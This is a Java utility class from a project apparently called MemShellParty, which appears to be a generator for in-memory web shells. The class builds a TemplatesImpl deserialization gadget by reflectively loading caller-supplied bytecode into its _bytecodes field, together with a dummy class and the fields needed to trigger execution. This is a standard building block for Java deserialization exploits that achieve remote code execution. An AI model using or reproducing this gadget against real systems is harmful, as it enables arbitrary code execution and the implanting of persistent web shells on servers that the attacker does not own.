MemShellParty/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

package com.reajason.javaweb.deserialize;

import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;

/**
 * @author ReaJason
 * @since 2024/12/9
 */
public class TemplateUtils {

    @SneakyThrows
    public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] fooBytes;
        try (DynamicType.Unloaded<Object> make = new ByteBuddy()
                .subclass(Object.class).name("foo")
                .make()) {
            fooBytes = make.getBytes();
        }

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
                bytes, fooBytes
        });

        Reflections.setFieldValue(templates, "_transletIndex", 0);
        Reflections.setFieldValue(templates, "_name", "SimpleJava");
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
}